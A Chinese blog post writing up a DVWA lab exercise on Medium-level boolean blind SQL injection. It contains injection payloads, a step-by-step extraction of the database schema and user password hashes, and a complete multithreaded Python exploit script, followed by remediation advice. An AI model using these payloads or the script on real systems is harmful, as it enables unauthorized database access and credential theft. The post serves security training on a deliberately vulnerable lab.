欢迎光临
我们一直在努力

SQL盲注漏洞详解 DVWA Medium

文章目录

    • 一、测试概述
    • 二、Medium级别安全机制分析
      • 2.1 后端源码
      • 2.2 与Low级别的差异
      • 2.3 安全机制缺陷
    • 三、漏洞验证
      • 3.1 基础测试
      • 3.2 绕过单引号转义测试
    • 四、漏洞利用过程
      • 4.1 获取数据库名
      • 4.2 获取表信息
      • 4.3 获取列信息
      • 4.4 获取记录数
      • 4.5 提取用户数据
    • 五、自动化利用脚本
      • 5.1 脚本说明
      • 5.2 核心函数
      • 5.3 使用方法
    • 六、Low vs Medium 对比
      • 6.1 注入方式对比
      • 6.2 绕过技巧
    • 七、漏洞危害
      • 7.1 影响范围
      • 7.2 攻击链
    • 八、修复建议
      • 8.1 当前漏洞代码
      • 8.2 修复方案
      • 8.3 安全最佳实践

一、测试概述

项目内容
测试目标 http://192.168.0.107/DVWA/vulnerabilities/sqli_blind/
安全级别 Medium
漏洞类型 Boolean-based Blind SQL Injection(数字型)
测试日期 2026-06-08
测试工具 Chrome DevTools MCP + Python自动化脚本
风险等级 高危(High)

二、Medium级别安全机制分析

2.1 后端源码

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];

// 使用mysqli_real_escape_string转义特殊字符
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

// SQL查询(无引号包裹$id)
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query);

if (mysqli_num_rows($result) > 0) {
echo '<pre>User ID exists in the database.</pre>';
} else {
echo '<pre>User ID is MISSING from the database.</pre>';
}
}

2.2 与Low级别的差异

特性Low级别Medium级别
请求方式 GET POST
输入方式 文本框 下拉选择框
输入过滤 mysqli_real_escape_string
SQL查询 WHERE user_id = '$id' WHERE user_id = $id
注入类型 字符型(需单引号闭合) 数字型(无需引号)

2.3 安全机制缺陷

  • 仅转义特殊字符:mysqli_real_escape_string转义了单引号、双引号等,但SQL查询中$id没有引号包裹
  • 数字型注入:由于查询是WHERE user_id = $id(无引号),可以直接注入数字型SQL语句
  • 前端限制可绕过:下拉选择框只是前端限制,直接发送POST请求即可绕过

  • 三、漏洞验证

    3.1 基础测试

    测试Payload结果结论
    正常查询 1 exists 页面正常
    无效ID 999 MISSING 可区分真假
    真条件 1 AND 1=1 exists 注入成功
    假条件 1 AND 1=2 MISSING 布尔盲注确认

    3.2 绕过单引号转义测试

    测试Payload结果说明
    字符比较 1 AND SUBSTRING(DATABASE(),1,1)='d' FAIL 单引号被转义
    ASCII比较 1 AND ASCII(SUBSTRING(DATABASE(),1,1))=100 OK 数值比较绕过转义
    MID函数 1 AND MID(DATABASE(),1,1)='d' FAIL 单引号被转义
    LIKE 1 AND DATABASE() LIKE 'dvwa%' FAIL 单引号被转义
    长度测试 1 AND LENGTH(DATABASE())=4 OK 纯数字比较有效

    关键发现:使用ASCII()函数进行数值比较可以绕过单引号转义


    四、漏洞利用过程

    4.1 获取数据库名

    — 获取数据库名长度
    1 AND LENGTH(DATABASE())=4exists

    — 逐字符猜解(使用ASCII数值比较)
    1 AND ASCII(SUBSTRING(DATABASE(),1,1))=100exists(100 = 'd')
    1 AND ASCII(SUBSTRING(DATABASE(),2,1))=118exists(118 = 'v')
    1 AND ASCII(SUBSTRING(DATABASE(),3,1))=119exists(119 = 'w')
    1 AND ASCII(SUBSTRING(DATABASE(),4,1))=97exists(97 = 'a')

    结果:数据库名 = “dvwa”

    4.2 获取表信息

    — 表数量
    1 AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema='dvwa')=1exists

    — 表名(逐字符ASCII比较)
    1 AND ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 0,1),1,1))=117exists(117 = 'u')

    结果:1个表,表名 = “users”

    4.3 获取列信息

    — 列数量
    1 AND (SELECT COUNT(*) FROM information_schema.columns WHERE table_name='users')=8exists

    — 列名(8列)
    user_id, first_name, last_name, user, password, avatar, last_login, failed_login

    4.4 获取记录数

    1 AND (SELECT COUNT(*) FROM users)=5exists

    结果:5条记录

    4.5 提取用户数据

    user_iduserfirst_namelast_namepassword (MD5)
    1 admin admin admin 21232f297a57a5a743894a0e4a801fc3
    2 gordonb gordon brown e99a18c428cb38d5f260853678922e03
    3 1337 hack me 8d3533d75ae2c3966d7e0d4fcc69216b
    4 pablo pablo picasso 0d107d09f5bbe40cade3de5c71e9e9b7
    5 smithy bob smith 5f4dcc3b5aa765d61d8327deb882cf99

    五、自动化利用脚本

    5.1 脚本说明

    [dvwa_blind_sqli_exploit_medium.py]

    #!/usr/bin/env python3
    # -*- coding: utf-8 -*-
    """
    DVWA SQL盲注漏洞利用脚本 – Medium级别
    ======================================
    目标: http://192.168.0.107/DVWA/vulnerabilities/sqli_blind/
    级别: Medium
    类型: Numeric-based Blind SQL Injection

    Medium级别特点:
    1. 使用POST请求
    2. 使用mysqli_real_escape_string转义单引号
    3. SQL查询无引号: WHERE user_id = $id
    4. 数字型注入,通过ASCII()数值比较绕过单引号转义
    """

    import requests
    import string
    import sys
    import json
    import time
    import io
    from datetime import datetime
    from concurrent.futures import ThreadPoolExecutor, as_completed

    sys.stdout = io.TextIOWrapper(sys.stdout.buffer, encoding='utf-8')

    # ==================== 配置 ====================
    BASE_URL = "http://192.168.0.107/DVWA/vulnerabilities/sqli_blind/"
    MAX_WORKERS = 10
    REQUEST_TIMEOUT = 10

    COOKIE = {
    "security": "medium",
    "PHPSESSID": "fsj0kvpbl4gl3c2cb34dmpmpe5"
    }

    STATS = {"total_requests": 0, "start_time": None}

    RESULTS = {
    "timestamp": datetime.now().isoformat(),
    "target": BASE_URL,
    "security_level": "medium",
    "database_name": "",
    "tables": [],
    "columns": {},
    "data": []
    }

    session = requests.Session()
    session.cookies.update(COOKIE)

    def check_payload(payload):
    """
    Medium级别: POST请求,数字型注入
    通过ASCII()数值比较绕过单引号转义
    Payload示例: 1 AND ASCII(SUBSTRING(DATABASE(),1,1))=100
    """

    data = {"id": payload, "Submit": "Submit"}
    try:
    resp = session.post(BASE_URL, data=data, timeout=REQUEST_TIMEOUT)
    STATS["total_requests"] += 1
    return "User ID exists" in resp.text
    except Exception as e:
    print(f" [!] Error: {e}")
    return False

    def check_batch(payloads):
    """并发检查多个Payload"""
    results = []

    def _check(item):
    payload, ascii_val = item
    return ascii_val if check_payload(payload) else None

    with ThreadPoolExecutor(max_workers=MAX_WORKERS) as executor:
    futures = {executor.submit(_check, item): item for item in payloads}
    for future in as_completed(futures):
    r = future.result()
    if r is not None:
    results.append(r)
    return results

    def blind_extract_ascii(query, max_len=30, ascii_range=None):
    """
    盲注提取函数(ASCII数值比较版)

    原理: 使用ASCII(SUBSTRING(…))=数值 绕过单引号转义
    示例: 1 AND ASCII(SUBSTRING(DATABASE(),1,1))=100
    """
    if ascii_range is None:
    ascii_range = list(range(97, 123)) # a-z

    result = ""
    for pos in range(1, max_len + 1):
    payloads = [
    (f"1 AND ASCII(SUBSTRING(({query}),{pos},1))={v}", v)
    for v in ascii_range
    ]

    matched = check_batch(payloads)
    if matched:
    result += chr(matched[0])
    sys.stdout.write(chr(matched[0]))
    sys.stdout.flush()
    else:
    break

    print()
    return result

    def get_database_name():
    """获取数据库名"""
    print("[*] Extracting database name…")
    # 先获取长度
    for length in range(1, 20):
    if check_payload(f"1 AND LENGTH(DATABASE())={length}"):
    print(f"[+] DB length: {length}")
    break

    name = blind_extract_ascii("DATABASE()", 20, list(range(97, 123)))
    print(f"[+] Database: {name}")
    RESULTS["database_name"] = name
    return name

    def get_table_count(db):
    """获取表数量"""
    print(f"[*] Getting table count in {db}…")
    for i in range(1, 20):
    payload = f"1 AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema='{db}')={i}"
    if check_payload(payload):
    print(f"[+] Table count: {i}")
    return i
    return 0

    def get_table_name(db, idx):
    """获取表名"""
    print(f"[*] Extracting table name[{idx}]…")
    q = f"SELECT table_name FROM information_schema.tables WHERE table_schema='{db}' LIMIT {idx},1"
    name = blind_extract_ascii(q, 30, list(range(97, 123)))
    print(f"[+] Table: {name}")
    return name

    def get_column_count(table):
    """获取列数量"""
    print(f"[*] Getting column count for {table}…")
    for i in range(1, 30):
    payload = f"1 AND (SELECT COUNT(*) FROM information_schema.columns WHERE table_name='{table}')={i}"
    if check_payload(payload):
    print(f"[+] Column count: {i}")
    return i
    return 0

    def get_column_name(table, idx):
    """获取列名"""
    print(f"[*] Extracting column name[{idx}]…")
    q = f"SELECT column_name FROM information_schema.columns WHERE table_name='{table}' LIMIT {idx},1"
    # 列名可能包含字母和下划线
    charset = list(range(97, 123)) + [95] # a-z + _
    name = blind_extract_ascii(q, 30, charset)
    print(f"[+] Column: {name}")
    return name

    def get_row_count(table):
    """获取记录数"""
    print(f"[*] Getting row count for {table}…")
    for i in range(1, 20):
    if check_payload(f"1 AND (SELECT COUNT(*) FROM {table})={i}"):
    print(f"[+] Row count: {i}")
    return i
    return 0

    def get_field(table, col, row):
    """获取字段值"""
    print(f"[*] Extracting {col}[row {row}]…")
    q = f"SELECT {col} FROM {table} LIMIT {row},1"
    # 字段值可能包含字母、数字、特殊字符
    charset = list(range(48, 58)) + list(range(65, 91)) + list(range(97, 123)) + [64, 46, 95, 45, 36]
    val = blind_extract_ascii(q, 100, charset)
    print(f"[+] {col}: {val}")
    return val

    def save_results():
    """保存结果到JSON"""
    with open("dvwa_blind_sqli_medium_results.json", "w", encoding='utf-8') as f:
    json.dump(RESULTS, f, indent=2, ensure_ascii=False)
    print(f"\\n[+] Results saved to dvwa_blind_sqli_medium_results.json")

    def print_stats():
    """打印性能统计"""
    elapsed = time.time() STATS["start_time"]
    print("\\n" + "=" * 60)
    print("性能统计")
    print("=" * 60)
    print(f"总请求数: {STATS['total_requests']}")
    print(f"总耗时: {elapsed:.2f} 秒 ({elapsed/60:.2f} 分钟)")
    if elapsed > 0:
    print(f"请求速度: {STATS['total_requests']/elapsed:.2f} 次/秒")
    print("=" * 60)

    def main():
    """
    执行流程:
    1. 获取数据库名 → 2. 获取表数量 → 3. 获取表名
    4. 获取列数量 → 5. 获取列名 → 6. 获取记录数
    7. 逐行逐列提取数据 → 8. 保存结果
    """

    STATS["start_time"] = time.time()

    print("=" * 60)
    print("DVWA SQL Blind Injection Exploit – Level: Medium")
    print(f"并发线程: {MAX_WORKERS}")
    print("=" * 60)

    try:
    # 1. 数据库名
    db = get_database_name()

    # 2-3. 表信息
    tables = []
    for i in range(get_table_count(db)):
    tables.append(get_table_name(db, i))
    RESULTS["tables"] = tables
    print(f"[+] Tables: {', '.join(tables)}")

    # 4-5. 列信息
    for t in tables:
    cols = []
    for i in range(get_column_count(t)):
    cols.append(get_column_name(t, i))
    RESULTS["columns"][t] = cols
    print(f"[+] Columns in {t}: {', '.join(cols)}")

    # 6-7. 提取数据
    if "users" in tables:
    rows = get_row_count("users")
    print(f"\\n[*] Extracting users table ({rows} rows)…")
    cols = RESULTS["columns"]["users"]

    for r in range(rows):
    print(f"\\n— Row {r+1} —")
    row_data = {c: get_field("users", c, r) for c in cols}
    RESULTS["data"].append(row_data)

    # 8. 保存
    save_results()
    print_stats()
    print("\\n[+] Done!")

    except KeyboardInterrupt:
    print("\\n[!] Interrupted")
    save_results()
    print_stats()
    except Exception as e:
    print(f"\\n[!] Error: {e}")
    save_results()
    print_stats()

    if __name__ == "__main__":
    main()

    核心绕过技术:

    # Low级别:直接使用字符比较
    payload = f"1' AND SUBSTRING(({query}),{pos},1)='{char}' AND '1'='1"

    # Medium级别:使用ASCII数值比较绕过单引号转义
    payload = f"1 AND ASCII(SUBSTRING(({query}),{pos},1))={ascii_value}"

    优化策略:

    • 并发请求(10线程)
    • Session复用TCP连接
    • ASCII数值比较绕过转义
    • 性能统计(请求数、耗时、速度)

    5.2 核心函数

    def check_payload(payload):
    """POST请求,数字型注入"""
    data = {"id": payload, "Submit": "Submit"}
    resp = session.post(BASE_URL, data=data, timeout=REQUEST_TIMEOUT)
    return "User ID exists" in resp.text

    def blind_extract_ascii(query, max_len=30, ascii_range=None):
    """使用ASCII数值比较进行盲注提取"""
    for pos in range(1, max_len + 1):
    payloads = [
    (f"1 AND ASCII(SUBSTRING(({query}),{pos},1))={v}", v)
    for v in ascii_range
    ]
    matched = check_batch(payloads) # 并发检查
    if matched:
    result += chr(matched[0])

    5.3 使用方法

    python dvwa_blind_sqli_exploit_medium.py

    结果保存至 dvwa_blind_sqli_medium_results.json


    六、Low vs Medium 对比

    6.1 注入方式对比

    特性Low级别Medium级别
    注入类型 字符型 数字型
    闭合方式 需要单引号 ' 无需闭合
    Payload示例 1' AND '1'='1 1 AND 1=1
    字符提取 SUBSTRING(…)='a' ASCII(SUBSTRING(…))=97
    请求方式 GET POST

    6.2 绕过技巧

    级别防御措施绕过方法
    Low 直接注入
    Medium mysqli_real_escape_string 使用ASCII()数值比较

    七、漏洞危害

    7.1 影响范围

    危害类型程度说明
    数据泄露 严重 获取全部用户数据(含密码哈希)
    数据篡改 严重 可修改/删除数据库内容
    权限提升 严重 获取管理员账户

    7.2 攻击链

    POST请求绕过 → 数字型盲注 → ASCII数值比较 → 枚举数据库结构 → 提取用户凭证


    八、修复建议

    8.1 当前漏洞代码

    $id = $_POST[ 'id' ];
    $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
    $query = "SELECT first_name, last_name FROM users WHERE user_id = $id";

    8.2 修复方案

    方案1:参数化查询(推荐)

    $id = $_POST[ 'id' ];
    $query = "SELECT first_name, last_name FROM users WHERE user_id = ?";
    $stmt = mysqli_prepare($GLOBALS["___mysqli_ston"], $query);
    mysqli_stmt_bind_param($stmt, "i", $id); // 'i' 表示整数类型
    mysqli_stmt_execute($stmt);
    $result = mysqli_stmt_get_result($stmt);

    方案2:强制类型转换

    $id = (int)$_POST[ 'id' ]; // 强制转换为整数
    $query = "SELECT first_name, last_name FROM users WHERE user_id = $id";

    8.3 安全最佳实践

    措施优先级说明
    参数化查询 使用预处理语句,从根本上防止注入
    类型验证 对数字型输入强制类型转换
    最小权限 数据库账户使用最小必要权限
    WAF防护 部署Web应用防火墙

    赞(0)
    未经允许不得转载:171主机测评 » SQL盲注漏洞详解 DVWA Medium
    分享到: 更多 (0)

    评论 抢沙发

    • 昵称 (必填)
    • 邮箱 (必填)
    • 网址